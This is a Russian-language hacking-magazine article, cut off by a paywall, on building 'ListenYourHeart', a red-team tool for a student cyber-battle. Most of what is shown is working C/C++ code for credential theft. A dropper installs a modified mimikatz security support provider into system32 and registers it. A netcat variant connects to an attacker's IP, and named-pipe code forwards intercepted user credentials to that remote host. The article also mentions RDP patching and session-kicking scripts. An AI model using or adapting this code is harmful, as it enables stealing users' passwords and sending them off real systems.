Се­год­ня мы напишем ути­литу, которая перех­ватыва­ет в реаль­ном вре­мени и отправ­ляет на уда­лен­ный хост учет­ные дан­ные поль­зовате­лей, поз­воля­ют запус­кать нес­коль­ко сес­сий RDP и раз­рывать кон­куриру­ющие под­клю­чения. Для это­го мы изме­ним исходный код mimikatz.

В 2024 году про­ходи­ла все­рос­сий­ская сту­ден­ческая кибер­битва, в которой мне пос­час­тли­вилось учас­тво­вать в сос­таве коман­ды Team8.

Тог­да нам уда­лось одер­жать победу, и сей­час я хочу рас­ска­зать об одной из сос­тавля­ющих под­готов­ки к сорев­новани­ям. А имен­но о соз­дании offensive tools — ути­лит, упро­щающих жизнь учас­тни­кам Red Team.

Нем­ного поковы­ряв Standoff, я взял на замет­ку нес­коль­ко момен­тов, которые пос­тарал­ся учесть в сво­ей прог­рамме:

  • час­тое исполь­зование ути­лит, свя­зан­ных с добыва­нием учет­ных дан­ных в сис­теме (нап­ример, Mimikatz);
  • пе­риоди­чес­кие кон­флик­ты меж­ду учас­тни­ками за общие ресур­сы (в основном RDP-дос­туп к уда­лен­ному хос­ту), пос­коль­ку инфраструк­тура одна на всех.

Прог­рамма писалась за десять дней до сорев­нований, поэто­му, воз­можно, некото­рые решения покажут­ся тебе не сов­сем эле­ган­тны­ми. Но в усло­виях цей­тно­та получи­лось то, что получи­лось.

[ WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

]
 

ListenYourHeart

Ос­новная фун­кция этой ути­литы — перех­ват и рет­ран­сля­ция на уда­лен­ный хост учет­ных дан­ных поль­зовате­лей в реаль­ном вре­мени, а так­же орга­низа­ция про­тиво­дей­ствия (не выходя­щего за рам­ки при­личия) поль­зовате­лям из дру­гих команд Red Team.

Пос­коль­ку раз­работ­ка прог­раммы име­ла жес­ткое огра­ниче­ние по вре­мени, целесо­образно было обра­тить­ся к готовым опен­сор­сным решени­ям в этой области, что я и сде­лал.

Компоненты программы ListenYourHeart
Ком­понен­ты прог­раммы ListenYourHeart

Прог­рамма сос­тоит из пяти модулей:

  • LyH.cpp — основной модуль, выпол­няющий под­готови­тель­ные опе­рации;
  • mimilib.dll — модифи­циро­ван­ный secuirty support provider из ути­литы Mimikatz, перех­ватыва­ющий учет­ные дан­ные поль­зовате­ля;
  • mefcat.exe — модифи­циро­ван­ный netcat, переда­ющий учет­ные дан­ные поль­зовате­ля на уда­лен­ный хост;
  • PatchTermSrv.exe — скрипт, который пат­чит termsrv.dll, что­бы появи­лась воз­можность соз­давать мно­жес­тво сеан­сов RDP на одной и той же машине;
  • KoH.bat — скрипт, авто­мати­чес­ки отклю­чающий активные сеан­сы RDP.
 

Инициализация

Что­бы начать работу, прог­рамма дол­жна быть обес­печена необ­ходимым окру­жени­ем. Этим занима­ется класс dropp3r из модуля LyH.cpp. Dropp3r соз­дает пап­ку в кор­не дис­ка C: с име­нем temp, выг­ружа­ет фай­лы, зашитые в исполня­емый файл прог­раммы, с исполь­зовани­ем механиз­ма ресур­сов, а так­же регис­три­рует Security Support Provider в сис­теме:

class dropp3r {
public:
dropp3r() = default;
int createTempDirectory();
int dropRelations();
int loadProvider();
};
// Выгрузка необходимых инструментов и зависимостей
int dropp3r::dropRelations() {
const std::string files[] = {
"patchTerm.exe"s,
"KoH.bat"s,
"nc6.exe"s
};
for (int i = 1; i < 4; i++) {
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(i), RT_RCDATA);
if (!hRes) return ERR_NOT_FOUND;
HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) return RESOURCE_NOT_LOAD;
void* pData = LockResource(hData);
DWORD size = SizeofResource(NULL, hRes);
std::string outPath = PATH + "\\"s + files[i - 1];
std::ofstream out(outPath, std::ios::binary | std::ios::out);
if (!out) return NO_CREATE_FILE;
out.write(static_cast<const char*>(pData), size);
out.close();
}
return 0;
}
// Выгрузка и регистрация Security Support Provider в системе
int dropp3r::loadProvider() {
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(7), RT_RCDATA);
if (!hRes) return ERR_NOT_FOUND;
HGLOBAL hLoadedResource = LoadResource(NULL, hRes);
if (!hLoadedResource) return RESOURCE_NOT_LOAD;
void* pMim = LockResource(hLoadedResource);
DWORD size = SizeofResource(NULL, hRes);
LPWSTR packagePath = (LPWSTR)TEXT("c:\\windows\\system32\\mimilib.dll");
SECURITY_PACKAGE_OPTIONS spo = {};
HANDLE hMimilib = CreateFileW(packagePath,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
DWORD wrtn = 0;
WriteFile(hMimilib, (LPCVOID)pMim,size, &wrtn, NULL);
CloseHandle(hMimilib);
std::cout<<"[dropp3r] Trying to add security package . . .\n";
SECURITY_STATUS ss = AddSecurityPackageW(packagePath, &spo);
if (ss != SEC_E_OK) {
if (ss == SEC_E_SECPKG_NOT_FOUND) {
std::cout<<"[dropp3r] can't find mimilib [-]\n";
return ERR_NOT_FOUND;
}
else {
std::cout << "[dropp3r] FAILED! [-]\n";
return ERROR;
}
}
else {
std::cout << "[dropp3r] SUCCESS! [+]\n";
}
return 0;
}

www

Для более глу­боко­го пог­ружения в тему, свя­зан­ную с SSP/AP, советую про­читать статью «Пос­тавщик небезо­пас­ности. Как Windows рас­кры­вает пароль поль­зовате­ля».

 

Создание канала передачи данных

Процесс передачи перехваченных учетных данных
Про­цесс переда­чи перех­вачен­ных учет­ных дан­ных

Пос­ле соз­дания окру­жения необ­ходимо орга­низо­вать канал переда­чи дан­ных. В этом про­цес­се учас­тву­ют три эле­мен­та:

  • SecuritySupportProvider, который переда­ет дан­ные в сыром виде;
  • mefcat (модифи­циро­ван­ный netcat), который находит­ся на сто­роне жер­твы, получа­ет нап­рямую от SSP кре­ды поль­зовате­ля и переда­ет их на уда­лен­ный хост;
  • netcat на сто­роне ата­кующе­го, при­нима­ющий кре­ды от mefcat.
 

Сервер

Для свя­зыва­ния mefcat с SSP я выб­рал име­нован­ные пай­пы, а так­же Windows-события (Windows Events). И вот почему:

  • pipe — дос­таточ­но надеж­ный канал переда­чи дан­ных. При воз­никно­вении оши­бок их мож­но лег­ко отсле­дить и локали­зовать;
  • гло­баль­ные события отлично под­ходят для син­хро­низа­ции про­цес­сов.

Для начала необ­ходимо уста­новить соеди­нение с уда­лен­ным хос­том — получить сокет для вза­имо­дей­ствия с ним. Этим занима­ется класс Listen3r из модуля LyH.cpp. Единс­твен­ная его фун­кция — соз­дание про­цес­са mefcat с передан­ным адре­сом уда­лен­ной машины.

LyH.cpp
int listen3r::buildChannel(std::string IP,std::string PORT) {
// ...
std::string commandLine ="c:\\windows\\system32\\cmd.exe /c "s + PATH + "nc6.exe "s + IP + " "s + PORT;
// ...
if (CreateProcessA(NULL,
(LPSTR)(commandLine.c_str()),
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
(LPSTARTUPINFOA)(&si),
&pi)) {
SleepEx(5000, FALSE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else{
// ...

За­тем, пос­ле получе­ния сокета, соеди­няем mefcat с mimilib.dll.

mefcat.c
// Название именованного канала, через который будут общаться SSP и mefcat
#define PIPE_NAME L"\\\\.\\pipe\\communicate"
DWORD procCommunicate() {
BOOL err = 0;
// Создаем глобальное событие, указывающее нашему SSP, что mefcat готов к работе
hEvent = CreateEventW(NULL,TRUE,FALSE,L"Global\\active");
if (hEvent == NULL) {
DWORD err = GetLastError();
// Если событие уже создано, то получаем его handle
if (err == ERROR_ALREADY_EXISTS) {
hEvent = OpenEventW(EVENT_ALL_ACCESS, FALSE, L"Global\\active");
if (hEvent == NULL) {
printf("Cannot create|open event. exiting...\n");
exit(-1);
}
}
}
/* Cоздаем именованный канал передачи данных. Здесь mefcat выступает в роли сервера, который создает именованный pipe и ждет подключения от SSP */
hpPass = CreateNamedPipeW(
PIPE_NAME,
PIPE_ACCESS_DUPLEX ,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE |PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
NULL);
if (hpPass == INVALID_HANDLE_VALUE) {
printf("Error creating named pipe: %d\n", GetLastError());
return 1;
}
// Устанавливаем событие в сигнальное состояние (говорим SSP, что мы готовы к работе)
SetEvent(hEvent);
waitConnect:
printf("Zetting for a cl13nt to c0nn3ct...\n");
// Ожидаем подключения к нашему каналу SSP
if (ConnectNamedPipe(hpPass, NULL) != TRUE && GetLastError() != ERROR_PIPE_CONNECTED) {
printf("Error connecting to communicate channel: %d\n", GetLastError());
goto waitConnect;
}
printf("Client connected.\n");
// После подключения ожидаем получения учетных данных от SSP
while (1) {
if (err)
exit(1);
char buf[1024] = { 0 };
DWORD bytesRead;
DWORD bytesWritten;
// Получаем данные от SSP
if (ReadFile(hpPass, buf, sizeof(buf), &bytesRead, NULL)) {
printf("sending the leaked info to the host. . .\n");
/* Отправляем учетные данные на удаленный хост netfd дескриптор сокета, созданный mefcat при подключении к удаленному хосту */
if (send(netfd, buf, bytesRead, 0) == SOCKET_ERROR) {
// Если удаленный хост закрыл соединение, то выходим
if (WSAGetLastError() == WSAECONNRESET || WSAGetLastError() == WSAECONNABORTED) {
printf("remote host disconnected. . .\n");
err = 1;
}
}
}
else {
if (GetLastError() == ERROR_BROKEN_PIPE) {
// Закрываем текущее соединение, переподключаем listener
DisconnectNamedPipe(hpPass);
hpPass = NULL;
printf("PIPE HAS BROKEN goto up :(\n");
goto waitConnect;
}
}
}
return 0;
}

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии